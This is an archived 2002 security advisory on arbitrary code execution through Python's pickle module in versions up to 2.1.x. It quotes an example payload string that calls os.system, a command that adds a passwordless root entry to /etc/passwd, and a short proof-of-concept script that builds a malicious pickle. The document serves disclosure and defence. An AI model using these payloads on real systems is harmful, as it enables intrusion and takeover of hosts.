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TUCoPS :: General Information :: mult5542.htm

Python language \'pickle\' primitive exploit



17th Jul 2002 [SBWID-5542]
COMMAND

	Pyhton language \'pickle\' primitive exploit

SYSTEMS AFFECTED

	Python versions <= 2.1.x

PROBLEM

	Jeff Epler [http://unpythonic.net/~jepler/] says :
	

	Pickle is the name of a Python module for  object  persistence.  It  can
	convert arbitrary Python objects into byte streams and back. Though  the
	documentation for Python 1.5.2 read :
	

	    The pickle module doesn\'t handle code objects, which the marshal

	    module does. I suppose pickle could, and maybe it should, but there\'s

	    probably no great need for it right now (as long as marshal continues

	    to be used for reading and writing code objects), and at least this

	    avoids the possibility of smuggling Trojan horses into a program.

	

	it was always generally considered that a  carefully-crafted  \"pickle\"
	could execute arbitrary code.
	

	In Python 2.0, one hole was closed which was due to the  use  of  eval()
	to unpickle a string. This hole could be exploited with a pickle  string
	like
	

	    \"S\'\'*__import__(\'os\').system(\'echo 0wn3d\')\\np0\\n.\"

	

	In Python version 2.2, a new restriction  was  added  to  unpickling  of
	instances: when unpickle would have  called  a  constructor,  the  class
	must define an attribute __safe_for_unpickling__ with a true  value,  or
	an exception will be raised. Because a \"class constructor\"  is  simply
	a callable object, a pickle can be written that names any  function  and
	gives it arbitrary arguments. Thus, a  specially  crafted  pickle  might
	contain  the  instruction  instantiate  the  class  os.system  with  the
	argument
	

		\"echo r00t::0:0::/:/bin/sh >> /etc/passwd\"

	

	Many major Linux distributions still ship with Python  1.5.2,  which  is
	vulnerable to both of these types of exploits. Some  ship  with  2.0  or
	2.1, usually in addition to 1.5.2. These versions are vulnerable to  the
	second type of exploit. I don\'t know  of  a  Linux  distribution  which
	ships with only python 2.2, which is  free  from  both  these  problems.
	However, I know of no particular uses that lead  to  a  direct  security
	breach.
	

	\"\"\"

	

	import pickle, new

	

	def nasty(module, function, *args):

	    return pickle.dumps(new.classobj(function, (), {

		\'__getinitargs__\': lambda self, arg = args: arg,

		\'__module__\': module

	    }) ())

	

	# Create the evil pickle

	t = nasty(\"__builtin__\", \"open\", \"/tmp/pickle-bug\", \"w\")

	# Show the user how it looks

	print repr(t)

	# Now, load the pickle -- creates the file /tmp/python-is-buggy (by calling

	# the builtin open() function, then raises an exception.  But the damage is

	# done...

	pickle.loads(t)

	

SOLUTION

	Update to python 2.2


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